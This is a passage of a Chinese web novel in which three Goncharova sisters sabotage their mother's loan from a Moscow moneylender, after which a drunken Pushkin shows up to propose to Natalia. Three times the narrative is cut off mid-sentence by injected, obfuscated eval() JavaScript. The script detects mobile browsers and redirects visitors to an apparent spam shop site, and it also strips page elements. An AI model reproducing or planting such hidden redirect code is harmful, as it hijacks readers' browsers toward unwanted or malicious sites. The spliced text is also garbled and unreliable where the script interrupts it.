她们都在发抖。 亚利克珊德拉把脸埋进她肩窝里,闷闷地说:“妈妈到底怎么了,为什么要跟这样的人来往?” 莉娅的手臂环紧,下巴在珊德拉的发顶摩挲。 心海里,她扔出一句话:“娜塔,你上辈子经历过这一出吗?” 娜塔沉默了好一会儿,“……至少在我的记忆里,这次事件促成的地点不是家里。这封信、这个人、这邀约——我都没有印象。” 没有印象……也就是说,这是变数。 是这一世独有的“新剧情”。 莉娅的心跳快了半拍,上门的危机也是转机! ——至少放贷人正要进家里。 ——只有在自己的地盘上,才有做文章的余地。 她松开姐姐们,退后一步,认真地看着她们。 “卡嘉,珊德拉。” 两个人抬起头,眼圈还带着红。 “你们愿不愿意相信我?” “莉娅……” “这笔借贷一旦落笔,冈察洛娃这个姓就要深陷债务危机了。”她把话说得很轻,“我不能让她签。但我一个人不行,我需要你们帮我。” 叶卡提丽娜和亚利克珊德拉对视了一眼。 妹妹这段时间的变化大到让人心惊——突然读得懂复杂的账目,会写奇怪的方块字,眼睛里总有一种远超她年纪的笃定。 但那些整整齐齐的表格做不得假,数据全是从母亲的信件里一笔一笔抠出来的。 她没有坏心,从头到尾都没有。 叶卡提丽娜率先点了头。 亚利克珊德拉揉揉眼角,用力吸了吸鼻子:“你说怎么做,我听你的。” 莉娅笑了。 她的笑容短暂、锋利,带着某种“一不做二不休”的底气。 “别怕,那种人不会和‘不懂事’的小女孩动手。他来我们家是好事。”莉娅压低了声音,“至少在这里——我们能搅黄它。” * 冈察洛娃夫人强撑着维持她全部的体面,迎着客人进来。 她穿了最得体的一套深色裙装,头发梳得一丝不苟,每一步都踩出贵族女主人该有的从容。 格里高利·苏霍夫,这位莫斯科地下钱庄的放贷人,绅士地跟在她身后,视线在厅堂里随意扫过。 墙上挂着的油画虽然排场够大,但画框上的鎏金已经暗淡脱落;走廊尽头那座曾经很气派的立钟,时针卡在刻度七不再走动;脚下铺着的波斯地毯,原本该是好东西,可细看毛面已经磨得发亮发薄。 ——全是唬人的壳子,真正值钱的,早就被这个家一件件卖了个干净。 不过冈察洛夫家的债务状况几乎是明面上的事,家族信誉崩盘,全莫斯科的正规借贷早已走不通,否则不会找他合作了。 苏霍夫在一张背面修补过的边柜前停了脚。 “夫人。” 冈察洛娃夫人停步,转身。 “我再确认一次,”苏霍夫的声调懒散,带着点漫不经心的残忍,“您真想做这笔买卖?我的利息,外面传得够多了,不用我重复。我收账的手段也没什么绅士风度可言。” 他顿了顿,用指尖弹了弹边柜上那层灰。 “和我做生意,没有法律能保护您——要是还犹豫,就别浪费彼此的时间。” 冈察洛娃夫人的手在裙褶里攥了一下,又松开。 她昂起头,下颌的角度精准地卡在高傲和恳切的分界线上。做了几年家主的唯一好处,就是她能在心脏快要炸开的时候,脸上连一条多余的纹路都不会给。 “苏霍夫先生,请上楼吧。” 苏霍夫嗤笑一声,不置可否,大咧咧地抬腿上楼。 那点装模作样的绅士礼仪在踏上第一级台阶时就全卸了,他两步并一步,走路带风,外套下摆在扶手和墙壁间扫来扫去。 冈察洛娃夫人在他身后,默不作声地咽了口唾沫。 楼梯拐角。 亚利克珊德拉抱着一只插满萎靡花束的陶瓶,低着头下楼。 她走得慌慌张张,像是没留意前方有人。差两步的距离,她脚下一绊,整个人往前一栽—— 花瓶连带着里面半瓶水,直直朝苏霍夫扑过去。 “小心!” 亚利克珊德拉喊得真切极了。 苏霍夫的反应比她的叫声更快。他身子一侧,花瓶从他肩膀旁边擦过去。 水花溅了一地,瓶子碎了几块,花瓣散了满阶。 冈察洛娃夫人的心脏差点从嗓子眼里蹦出来。她在台阶上站住,指关节因为扶着栏杆而泛了白。亚利克珊德拉已经蹲在地上,一边捡碎片一边连连道歉。 “对不起,对不起,妈妈,客人先生,我没看到——我去叫人来收拾!” 她像只受惊的兔子一样窜走了。 冈察洛娃夫人艰难地咽下了那声到嘴边的尖叫,扯出一个笑。 “实在抱歉,苏霍夫先生,她平常不是这样的——” “没事。”苏霍夫拍了拍肩头沾上的几滴水,无所谓地摆摆手,“你女儿挺活泼。” 他说着,不经意地往楼下扫了一眼。 小隔间里,刚才那个给他“献花”的圆脸女孩正扑进另外两个姑娘怀里,压着嗓子哭诉,声音细碎又克制。 但他的耳朵够灵,语句清晰: “我腿软了……好可怕、好可怕!” 苏霍夫收回视线,挑了挑眉。 第一只小兔子的演技太拙劣,不过,有点意思。 女主人带着放贷人进了书房。 门关上还没两分钟,他们刚引出话题,叩门声就响了。 叶卡提丽娜端着茶盘进来,面带歉意的微笑:“家里来了客人要谈事情,一定需要茶水润润嗓子。” 两个女儿今天疯了不成? 冈察洛娃夫人快要维持不住那个端庄的笑了,但她不能当着苏霍夫的面斥责大女儿。只能用眼角的余光示意叶卡提丽娜赶紧放下、赶紧走。 叶卡提丽娜低眉顺眼地摆杯子,给母亲倒了一杯,又端起茶壶转向苏霍夫。 苏霍夫没动,只是微微偏了头,用那双棕色的眼睛看她。 那不是社交场上绅士打量女性的目光。是审视,拆解,像在估量猎物值不值得费力气。 茶壶在半空中停了一瞬。 叶卡提丽娜的手剧烈地哆嗦了一下,茶杯翻了,滚烫的茶水直冲着苏霍夫的方向泼去。 男人从椅子上弹起来,往后退了一步,茶水全浇在了椅面上。 第二只兔子的表演太刻意。看来,这回是“敬茶”。 “先生对不起!我、我笨手笨脚的,好心办坏事——您别怪罪!” 叶卡提丽娜慌乱地行了个歪歪扭扭的礼,拎着空茶壶几乎是逃出了书房。 门“砰”地关上。 冈察洛娃夫人整个人都僵在椅子里。她嘴唇翕动了几次,最终只挤出一句话: “……我的女儿们,就是讨债鬼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378118|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏霍夫没接这句话。 他拿袖子把桌面上溅到的茶渍随意一抹,拎起湿椅子丢到一边,从怀里摸出折好的契约书,展平,推到冈察洛娃夫人面前。 “很可惜,她们在我这讨不到债。”男人半靠在书桌上,带着一种看戏的悠然,“不过我时间有限,夫人。条款您都清楚,确认无误就签字。” 拿起羽毛笔,冈察洛娃夫人做了很久的心理建设。 正要蘸墨,环顾桌面,墨水瓶不在。 她拉开左边抽屉,没有。右边,也没有。笔搁附近空空荡荡,连个墨渍都找不到。 冈察洛娃夫人僵住了。 这间书房的墨水瓶永远放在桌面右上方,自入住起就没换过。 苏霍夫摸了摸下巴,那双棕色的眸子里浮起一丝“果然如此”的了然。 叩门声第二次响起。 第三只兔子要来了。 冈察洛娃夫人和苏霍夫同时看向门口。 门缓缓打开,走进来的是娜塔莉娅。 少女穿着一件半旧的浅色家常裙,卷发松松地编在脑后,没有任何多余的修饰。但她一踏进这间昏暗的书房,整个屋子就像开了窗。 苏霍夫的眼底掠过一丝极细微的意外。 娜塔莉娅没看他。 她只对着母亲露出一个抱歉的笑。 “妈妈,我写字的时候发现墨水不够了,就从书房取走了它。大姐说您这边有客人可能需要,我送回来。” 冈察洛娃夫人紧绷的脸终于松了一丝。 “放下吧。” 娜塔莉娅乖巧地走到母亲身边,手里捧着那只深色的玻璃墨瓶。 她的目光无意间扫过桌面——那张展开的契约书就摊在她和母亲中间,精细的花体字抄满条款,尾部留着空白的签字栏。 苏霍夫正侧着身子打量她。 不是刚才看叶卡提丽娜的那种审视,而是一种更有耐心的观察。像饱腹的猎手在判断闯进领地的小动物,究竟是路过,是试探,还是自投罗网。 而猎手,不介意加餐。 娜塔莉娅感觉到那道视线越发灼热。 她手一抖。 墨瓶从指间脱落,瓶口朝下翻了个跟头,浓稠的黑色墨汁在半空中甩出一道弧线。 精准地、完整地、毫无补救余地地—— 浇在了那份契约书上。 白纸瞬间被黑色吞没。 花体字、条款、签字栏,一切都在扩散的墨渍里化成了辨认不清的污团。 “啊!” 少女惊慌地缩回手,脸上写满了懊悔和自责。 “对不起,先生,妈妈,我不是故意的……”她弯腰想去抢救那张纸,反而把墨渍蹭得更花更彻底。 冈察洛娃夫人的脸完全白了。 但只有苏霍夫看见,在母亲的视线被挡住的那个瞬间,这个美得不像话的小姑娘抬起头,对着他,快得几乎捕捉不到地—— 眨了一下右眼。 一个俏皮的、象征胜利的、精心计算过的Wink。 苏霍夫离开书桌,盯着那双流光碎金的灰眼睛,慢慢吐出一口气。 ——第三只兔子不是兔子。 然后他笑了。 不是嗤笑,不是冷笑,是一个真正被逗乐了的、发自肺腑的短促笑声。 “看来,夫人,”苏霍夫拍了拍衣袖,“上天不想让这桩生意谈成。” 冈察洛娃夫人的唇色惨白。 她坐在椅子里一动不动,像一根绷到极限的弦。 苏霍夫已经拿起了礼帽。 “夫人,改天再约。” 他转身朝门口走去,经过娜塔莉娅身边时,脚步微微停顿了一秒。 少女没有退开。 母亲的情绪终于在身后那片沉默里崩塌了。 不是哭,不是喊,是一种比尖叫更可怕的、压抑到极致的颤抖呼吸。 莉娅走回母亲身边,双手按住她的肩膀,把她牢牢压在椅子上。 “妈妈,我去送客。” 冈察洛娃夫人抬起头,满眼都是不可置信的愤怒和恐惧,嘴唇翕动着,像是有一千句脏话要骂出来。 但小姑娘已经转身出了门。 11. ·011· 苏霍夫没有急着上马车。 暮色沉下来了。冬夜寒凉,他靠在马车边上,从口袋里摸出一只烟斗,划燃火柴。 火光映出他冷峻的面容和一双森然的棕色眼睛。 身后传来急促的脚步声。裙摆窸窣,夹着微微的喘息。 他没回头。 “跑慢点,小姐,看好你家门槛,别再来一出‘投怀送抱’。” 莉娅在他身后停下,弯着腰喘了几口气,将散落的发丝粗略整理。 站直之后,她规规矩矩地行了一个标准的女士礼,姿态庄重而优雅。 “苏霍夫先生,首先,关于今天的冒犯,我代我的姐姐们和我自己,正式向您致歉。” 苏霍夫含着烟斗,侧过身瞥她。不说话,等她继续。 “其次,我扰乱这笔交易,不只是为了拦住我母亲。” 她抬起头,目光在暮夜交替里依旧清清亮亮。 “苏霍夫先生,我母亲用来做抵押的庄园和农奴,已经全部抵押给了国家监护委员会——这是非法的第二次抵押。一旦合约签订,这就是笔混乱的烂帐。” 烟斗里的火星闪烁。 苏霍夫没有接话,但他吐烟的动作停了。 “我母亲最近压力太大,做了昏头的决定。”莉娅的声音平稳下来,“但您不该为她的昏头买单。所以今天这出戏——也是替您挡了一步臭棋。” 她话锋一转,“路费和您今天浪费的时间,我愿意双倍赔付。” 夜幕彻底落下。 苏霍夫的面容隐没在马车投下的阴影里,只有烟斗的火星在黑暗中一亮一灭。 他忽然朝前迈了一步。 莉娅下意识地后退,但男人比她要快。 一根手指挑起她耳边垂落的一缕卷发,别到她耳后。动作轻而随意,亲昵得像个老情人。 烟草混着夜风的气味近在咫尺。 “小姐担心我被骗?真可怜,我做的就是见不得光的生意……” 他的声音压得很低,含着一丝说不清道不明的笑意。 “非法、烂账都无所谓,我放出去的债,就一定收得回来——哪怕是换了种形式。” 他退开一步,混不吝地拍了拍外套,从口袋里摸出什么东西。 一枚银币在指间翻转了两圈,准确地弹进了莉娅的掌心。 冰凉的,沉甸甸的。 莉娅低头看去。 银币正面铸着一个叼着匕首的狼头,铸工粗糙,不是官方流通的制式。这是一枚私币。 ——或者说,它更像某种信物。 “赔礼就不用了。毕竟,小姐们的‘演出’该收打赏。” 男人已经拉开车门,一只脚踩上踏板。 他回头看了她最后一眼。 “格里高利·苏霍夫。” “小姐,你搅了我一笔债,那就按我的规矩来。收好它——你欠‘灰狼’的猎物,记得还。” 马车驶入夜色。 蹄声和车轮声越来越远。 莉娅站在门廊下,攥着那枚银币。金属上的寒意透过指缝,一点一点渗进皮肤。 掌心里,狼头叼着匕首,在月光下泛着哑光。 “哇哦,莉娅,你被盯上了哦。” “闭嘴,娜塔,这事还没过呢。” 少女转过身子,这座双层砖石结构的宅邸,窗户里没有一丝光,像头食人的巨兽。 但她避无可避,母亲的审判还在那等着她。 …… 娜塔莉娅一脚踏进厅堂,冰冷的空气便扑面而来。 叶卡提丽娜和亚利克珊德拉像两尊可怜的雕像,僵直地缩在边角。冈察洛娃夫人双臂环胸,下颌绷紧,正用一种审视的眼刀来回凌迟她们。 当她看见娜塔莉娅时,那张本就阴沉的脸又往下垮了几分,眼角的纹路深得能夹死蚊子。 屋子里的气压瞬间降到了冰点。 叶卡提丽娜和亚利克珊德拉抖得像风中的鹌鹑,连呼吸都变得小心翼翼。 不好。 娜塔莉娅心底咯噔一下,今天这关怕是难过了。 自她来到这个世界,还从未见过母亲这般动怒。这架势,今晚不死也得脱层皮。 少女强迫自己挤出一个轻松的笑容,脚步轻快地走过去,一手一个拉起姐姐们冰凉僵硬的手。 “卡嘉,珊德拉,你们怎么站在这里?母亲,您的脸色怎么这么严肃,瞧把她们都吓坏了。”她故作天真地开口,试图用轻快的语调冲散这凝固的死气。 同时,她悄悄捏了捏姐姐们的手心,用眼神示意她们快找个借口溜走。 叶卡提丽娜和亚利克珊德拉被吓得六神无主,刚想顺着小妹给的台阶溜之大吉,一道尖锐的声音便钉住了她们的脚步。 “站住!”冈察洛娃夫人厉声喝道,“谁也不许走!” 她上前两步,逼人的气势让两个姐姐又往后缩了缩。 “说!今天这出闹剧,到底是谁的主谋?” 叶卡提丽娜和亚利克珊德拉被母亲的雷霆之怒吓得面无人色,嘴唇哆嗦着,一个字也说不出来。 “蠢货,不知礼数的蠢货!”冈察洛娃夫人的咒骂劈头盖脸地砸下来,“一个朝客人扔花瓶,一个往客人身上泼茶……冈察洛娃家的脸面都被你们丢尽了!你们是想让整个莫斯科都看我们的笑话吗?” 亚利克珊德拉的眼泪瞬间涌了出来,叶卡提丽娜也垂下头,肩膀无声地抽动。 娜塔莉娅看不下去了。 她松开姐姐们的手,上前一步,正好挡在她们身前,独自迎上母亲的风暴。 “妈妈。” 她的声音不大,却清晰地切断了母亲的咆哮。 两个姐姐倏地止住了哭泣,既感动又心惊肉跳地看着她们一向柔顺的小妹妹,第一次正面挑战母亲的权威。 “规矩和礼仪,是对真正的客人用的。”娜塔莉娅抬起头,直视着母亲盛怒的眼睛,“但今天上门的那位,恐怕算不上客人。他到底是谁,您心里最清楚。” 叶卡提丽娜震惊地捂住了嘴,不敢相信这些话是从娜塔莉娅口中说出来的。 亚利克珊德拉则死死攥住了自己的裙摆,手背上青筋毕露。她既害怕母亲的怒火会烧到小妹身上,又隐秘地感到一阵快意。 “姐姐们没有胡闹,恰恰相反,她们非常勇敢。”娜塔莉娅的语速不快,但每个字都掷地有声,“您觉得,一个贵族女孩面对一头吃人不吐骨头的魔鬼,难道不需要勇气吗?” “我不知道苏霍夫先生为人如何,但从‘那种地方’来的,想必是个难缠的角色。” 她故意顿了顿,观察着母亲一瞬间的僵硬。 “姐姐们很聪慧,她们知道,没有人会跟两个小女孩无伤大雅的冒失行为较真。她们的举动,已经替我们暗示了最明确的意愿——冈察洛娃家,只欢迎真正的朋友。” 冈察洛娃夫人的胸口剧烈起伏,她从未被女儿如此顶撞过。作为母亲、作为这个家的主宰,她的威严受到了前所未有的冒犯。 她上前一步,几乎贴到娜塔莉娅的脸上,泛红的眼睛里满是血丝。 “是你,是不是你策划了这一切?” “是我。” 在姐姐们开口辩解之前,娜塔莉娅干脆利落地承认了。她一口咬定,是她指使姐姐们去捣乱,目的就是阻止那份契约的签订。 “是我让她们……” 话音未落,一个裹挟着怒风的巴掌狠狠扇在了她的脸上。 “啪!” 清脆的响声在寂静的厅堂里回荡,格外刺耳。 惊恐、吸气、错愕、愤怒……所有情绪在瞬间爆发又在瞬间凝固。 满室死寂,只剩下冈察洛娃夫人粗重而剧烈的喘息声。 娜塔莉娅的脸颊火辣辣地疼,耳朵里嗡嗡作响,口腔里泛起一丝铁锈味。 “你知不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378119|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道自己在做什么?”冈察洛娃夫人颤抖着,声音里带着哭腔,“你知不知道,你今天毁掉的是什么?那是一大笔现金!足够我们撑过这个社交季!” 娜塔莉娅缓缓抬手,摸了摸自己迅速红肿起来的半边脸。 她忽然笑了,只是那笑意未达眼底。 “妈妈,您仔细想想,我们到底是会多一笔钱,还是要捅出一个更大的债务篓子?” 冈察洛娃夫人哑口无言,片刻之后,她像是被抽走了所有力气,崩溃地哭诉起来:“我能怎么办?社交季的开销那么大,你们的裙子、饰品、交通……哪一样不要钱?维持体面需要钱,我真的没有办法了!” 看着母亲瞬间垮塌下来的肩膀,娜塔莉娅知道,时机到了。 她心底叹了口气,上前一步,轻轻抱住了正眼角泛泪的母亲。 “妈妈,对不起。”她的声音立刻软了下来,带着一丝委屈和心疼,“我们不是想冒犯您,我们只是……只是不想看着您踏进那个高利贷的深渊。” 她轻轻拍着母亲的背,像哄一个孩子。 “您为这个家操碎了心,我们都看在眼里。资金周转的压力太大了,我知道的。” “可是妈妈,您想一想,我们参加了那么多场舞会,有什么用呢?那些人看我的眼神,只逗趣却无深交。冈察洛娃家现在就是个空架子,真正有钱有势的人家,他们不傻。” “您清醒一点,与其把希望寄托在别人虚无缥缈的‘善心’上,不如我们先自救。我还小,还能在您身边多留几年。等我们家的危机过去了,有的是人抢着上门求娶,您又何必这么焦虑呢?” 叶卡提丽娜和亚利克珊德拉也连忙围了过来,一左一右地抱住母亲。 “妈妈,我们爱您。” “妈妈,您太辛苦了。” 母女四人相拥而泣,厅堂里压抑的气氛终于被泪水冲刷得干净。 许久,哭泣声止住。冈察洛娃夫人红着眼睛,疲惫地推开女儿们。 “太晚了,你们先去洗漱休息吧。”她的声音沙哑,“我们都需要冷静,明天再谈。” …… 三姐妹的卧房里,烛光摇曳。 叶卡提丽娜正小心翼翼地用蘸了药膏的软布,轻轻涂抹着娜塔莉娅脸上的红肿。 “嘶……”娜塔莉娅疼得抽了口凉气。 “你这个笨蛋!”亚利克珊德拉眼圈又红了,声音里带着浓重的鼻音,“你干嘛一个人冲上去?本来应该我们保护你的!” “就是,”一向沉默的叶卡提丽娜也开了口,她坐在床边,担忧地看着小妹,“下次不许这样。” 娜塔莉娅摇了摇头,看着眼前为她心疼的两位姐姐,心里暖洋洋的。 “你们那么信任我,听我的指挥去搞‘恶作剧’,”她弯起一边嘴角,牵动了伤处,疼得龇牙咧嘴,“那我,就一定要保护好你们。” 姐姐们不由分说地将她紧紧抱住。 “下次不许抢了,换我们保护你。” 闹腾了一天,三个人都累坏了。她们很快吹熄了蜡烛,各自躺下。 黑暗中,疲惫感如潮水般涌来,刚要将她们拖入梦乡,楼下忽然传来一阵含糊不清的叫嚷声。 听起来是个年轻男人,借着酒意在壮胆,大声呼唤着娜塔莉娅的名字。 黑暗中,叶卡提丽娜和亚利克珊德拉立马不约而同地从床上起立,两双眼睛在夜色里闪闪发光,八卦之魂熊熊燃烧,齐刷刷地望向小妹的床铺。 娜塔莉娅烦躁地翻了个身,把头蒙进了被子里。 楼下的呼喊还在继续,那泛着醉意的腔调,竟带着歌剧般的咏叹和诗歌中的余韵。 男人的声音很好听。 “娜塔莉娅,我的挚爱!求你发发慈悲,往我的世界里,照进一缕月光吧——” 被搅了清梦的莉娅彻底恼了。 这又是哪来的疯狗,大半夜不睡觉,跑别人楼下狺狺狂吠。 12. ·012· 几个小时前。 莫斯科旧城区一条窄巷深处,木门掩着的小酒馆里灯火混沌。没有水晶灯,没有银质餐具。 空气里拧着劣质伏特加、烟草和汗味,唯一的优点是自由——这地方没有人审查用词,也没有沙皇的眼线盯着你杯中的倒影。 普希金坐在角落长桌旁,面前第四杯酒见了底。 维亚泽姆斯基和纳先金分坐两侧。角落里几个吉普赛女郎踩着铃铛的节奏旋转,酒客们掌声口哨此起彼伏。 普希金跟着拍了两下手,就没了动静。 维亚泽姆斯基拿杯底碰了碰他的杯子。 “大诗人,来之前不是说要醉个痛快?” “已经很痛快了。” “痛快的人不会连吉普赛姑娘都懒得多看一眼。”纳先金一杯酒灌下去,往椅背上一靠,“写不出东西了,还是上头那位又盯上你了?” 普希金摇头。 他说不出口。 他该说什么呢? 说他在宫廷舞会上向一个十六岁的姑娘伸出手,然后被人连正眼都不给一个地拒了? 太丢人。 可更要命的是,被拒之后,他非但没走开,反而陷得更深。 就寝前想,晨起也想,提笔写诗少女的脸从墨水里浮出来,社交场合看见茶花墙纸都要驻足发半天呆。 救命。 大诗人普希金可是身经百战,他自认对这些事早就免疫,绝不会像个毛头小子在爱情里浮浮沉沉。 结果? 结果就是他沙皇的——他栽了。 彻底栽在一个初入社交场、名叫娜塔莉娅的姑娘手里。 维亚泽姆斯基又推过来一杯,漫不经心地试探。 “新欢还是旧爱?我听说奥列尼娜刚订了婚——” “跟她没关系,我们也不是那种关系。” 啧,否认太快。 维亚泽姆斯基和纳先金对了一眼,懂了:不是旧人,是新欢——还是往心脏开了一枪的那种。 普希金沉了好一会儿,端起酒杯晃了一圈。 “如果缪斯从奥林匹斯山上走下来,在凡人面前只露了一面……” 纳先金挑了挑眉。 “凡人一见倾心。但缪斯对他毫无兴趣——甚至有些嫌弃。” 维亚泽姆斯基插了句:“那这个凡人挺惨。” “不止。”普希金搁下杯子,“凡人身后还跟着一群猎犬。他靠近缪斯,那些东西会毫不犹豫连她一起撕碎。” 桌面安静了几秒。 纳先金先开了口,杯底朝天,一饮而尽。 “萨沙,你什么时候开始替别人做主了?缪斯喜不喜欢凡尘,那是她自己的事。你不去交心,不去当面问,又凭什么断定一切?” 维亚泽姆斯基替他斟满酒,笑着敲了敲桌面。 “你现在这样,说白了就是怕被拒绝。你不是怕连累她。你是怕你竭尽全力,却没办法让她对你倾心——毕竟你……” 普希金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378120|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手顿住。 “大诗人,笔下写过那么多关于逐爱的句子,什么时候自己也勇敢一回?” 铃铛声、碰杯声、吉普赛女郎的笑声,酒馆里的喧嚣一浪盖过一浪。 普希金仰头,把那杯酒灌了下去。 液体烧过喉咙的那一瞬,脑海里浮上来的不是被拒的那一幕。 是月下茶花园,那只命运的舞鞋,是她灰色的眼睛; 更是楼梯拐角,在班肯多尔夫的压迫下,不卑不亢说她眼睛不瞎—— 那是他第一次被一个全然陌生的人,毫不犹豫地、不计后果地维护。 丘比特的金箭无人能逃。 酒杯重重搁回桌上。 “走了。” “去哪?” 诗人想通了。 戒断无用,他依旧喜欢娜塔莉娅——他迫切地想见她,向她诉说一切。 “去问缪斯—— “问她到底要不要从奥林匹斯山上下来。” * 被迫从床上爬起来的莉娅,被两位姐姐看戏似的扒拉到窗前。 顶着月色,莉娅认出了那团被狄俄尼索斯腌渍入味的醒目男人。 是诗人普希金。 莉娅撑起困乏的眼,在心里吹了个口哨:“哦豁,娜塔,你从未告诉过我,你的‘老公’这么疯?” 娜塔倒吸一口凉气,十分迅速地划出界限:“我的丈夫早就回归文学之神的怀抱了。莉娅,楼下这个,是你未来的‘老公’。” 13. ·013· 楼下的呼唤没有停歇的迹象。 叶卡提丽娜拉紧了肩头的羊绒披肩。夜晚的冷风顺着窗缝钻进来,她打了个寒颤。 “太荒唐了……”她压低嗓音,双手交叠在胸前,手指不安地绞在一起,“半夜在未婚姑娘的窗下如此招摇,要是被邻居听见,你的名誉会受牵连。母亲被吵醒,一定会大发雷霆。” 贵族未婚少女的名誉在莫斯科就是一切。哪怕只是一点风吹草动,都能让一个原本可爱的姑娘彻底失去嫁入好人家的机会。 她自己已经错过了最好的年纪,绝不想小妹重蹈覆辙。 亚利克珊德拉挤到窗边,贴着玻璃往下看。 “可是这很浪漫不是吗?”她圆润的脸庞泛着红晕,呼吸急促,眼睛紧紧盯着楼下那团黑影,“莫斯科哪有男人敢做这种事?那些贵族少爷只会送些无聊的花束。莉娅,你认识他?” 娜塔莉娅靠在窗框上,打了个哈欠。 “算是认识。舞会上被我用鞋砸了脑袋的那个倒霉蛋。” 亚利克珊德拉猛地转过头,双手抓住娜塔莉娅的胳膊晃动。 “天哪,你们的相遇实在不可思议!他可是这些天来第一个上门对你说爱的男人……你对他了解多少?对他印象如何?” 莉娅把胳膊抽出来,拍了拍袖子。 “幼稚,烦人,毛躁得让人头痛。” 这种在女生宿舍楼下摆心形蜡烛、大声表白的戏码,二十一世纪的大学生早就不玩了。 自我感动式的追求只会给被追求者带来困扰。 走廊尽头传来沉重的脚步声。 娜塔莉娅直起身,那是母亲卧室的方向。 楼下传来门房拔门闩的响动,沉重的橡木门门轴在静默里尖锐地摩擦。 “穿好外衣。”莉娅走向房门,丢下一句话,“如果你们不怕直面母亲,坚持想看戏的话。” 二楼楼梯拐角的阁台。 母女四人站在雕花栏杆后,居高临下。 门房领着三个男人走进前厅。 中间那个被左右两人架着,脚步踉跄,衣领敞开,领结歪斜。 大厅仅点了两盏壁灯,昏暗的光线打在中间男人的脸上。 卷发,深邃的轮廓,五官带有明显的异域特征。 亚利克珊德拉拽住了叶卡提丽娜的袖子,指甲快把衣袖抓破。 书本里描写的那些不羁浪子,突然有了具体的画面。 冈察洛娃夫人站在最前方,脊背挺得笔直。 她没有佩戴任何首饰,但高高盘起的发髻和紧绷的下颌线,彰显着一家之主的威严。 “这里是冈察洛娃家,不是允许醉鬼发疯的酒馆。” 她抬起下巴,音量不高,却极具穿透力,“你们是谁?” 严厉的质问在空旷的大厅回荡。 楼下的三个男人动作一顿。 维亚泽姆斯基和纳先金迅速松开手,站直身体。他们整理了下微乱的衣领,摘下帽子,行了个近乎标准的绅士见面礼。 衣料不差,动作不错,他们显然不是街头游荡的泼皮无赖,而是受过教育的体面人。 “十分抱歉,夫人。” 维亚泽姆斯基上前一步,微微低头,“我是维亚泽姆斯基,这位是纳先金。我们只是陪同朋友前来。深夜叨扰,实在万分抱歉。” 维亚泽姆斯基疯狂给纳先金使眼色。只要介绍完普希金这个疯子,他们立马转身就走。 待得越久,他越怕某人会被打断腿扔进莫斯科河,他们的友谊可看不得诗人蒙受苦难。 普希金没有理会好友的暗示。 他仰起头,视线越过冈察洛娃夫人,直直落在后方的莉娅身上。 酒意瞬间褪去大半。 那是他魂牵梦绕的女神,是他灵魂的缪斯。他终于再次见到她了! 普希金挣开纳先金试图拉住他的手,上前一步,右手抚住左胸,深深弯下腰。 “亚历山大·谢尔盖耶维奇·普希金,向您致敬,尊敬的夫人……以及各位小姐。祝您夜安,美丽的娜塔莉娅。” 大厅陷入死寂。 冈察洛娃夫人的手猛地攥住裙摆。 普希金?现在俄罗斯最有名的诗人?那个连沙皇都要头疼、甚至才被赦□□放的刺头? 她日夜期盼小女儿能钓个金龟婿,结果就招来这么一个危险的狂徒? 叶卡提丽娜往后退了半步,她以为自己听错了名字。 那个写出连斯基的诗人?那个在决斗场上浪漫死去的连斯基的创造者,现在就站在她家客厅里? 亚利克珊德拉猛地捂住嘴,不让自己尖叫出声。她死死掐住叶卡提丽娜的胳膊,整个人都在发抖。 普希金,活的普希金!她能背诵他所有的诗稿,她最崇拜的诗人就活生生地站在她面前! 莉娅面无表情地看着楼下。 内心只有一句评价:这货是真颠啊。 普希金上前两步,走到阁台下方。 “娜塔莉娅小姐,自从舞会上一别,您的身影无时无刻不在我的脑海复现。” 他仰着头,言辞恳切,手势夸张。 “我无法入睡,无法思考,连诗歌都在您的美丽面前黯然失色……我逃避过、戒断过,但我的心和灵感早已将您视作主人。” 冈察洛娃夫人张了张嘴,一时找不到合适的词汇来应对这种突发状况。 这超出了她处理落魄贵族债务和管教女儿的经验范畴。 亚利克珊德拉死死拽住叶卡提丽娜的手臂,整个人已经快要在原地跳起来了。 维亚泽姆斯基和纳先金站在后面,尴尬地盯着地板的纹路。 “所以我来了。” 普希金转向冈察洛娃夫人,态度无比庄重。 “尊敬的夫人,我在此正式向您请求。请将您的女儿,娜塔莉娅小姐,嫁给我。” 炮弹迎面砸下,炸开。 炸得满堂寂静。 叶卡提丽娜彻底懵了。 小妹才十六岁,才刚刚社交亮相,这就被人求婚了?没有见证仪式,没有保障宣言,就这么直白地吼出来? 亚利克珊德拉的下巴快要掉到地上。 她发誓,任何诗歌小说的桥段都没有眼下这一幕来得刺激——伟大的普希金正在向她的妹妹求婚! 维亚泽姆斯基和纳先金猛地抬起头。 两人对视一眼,同时咽了一口唾沫。 玩大了。 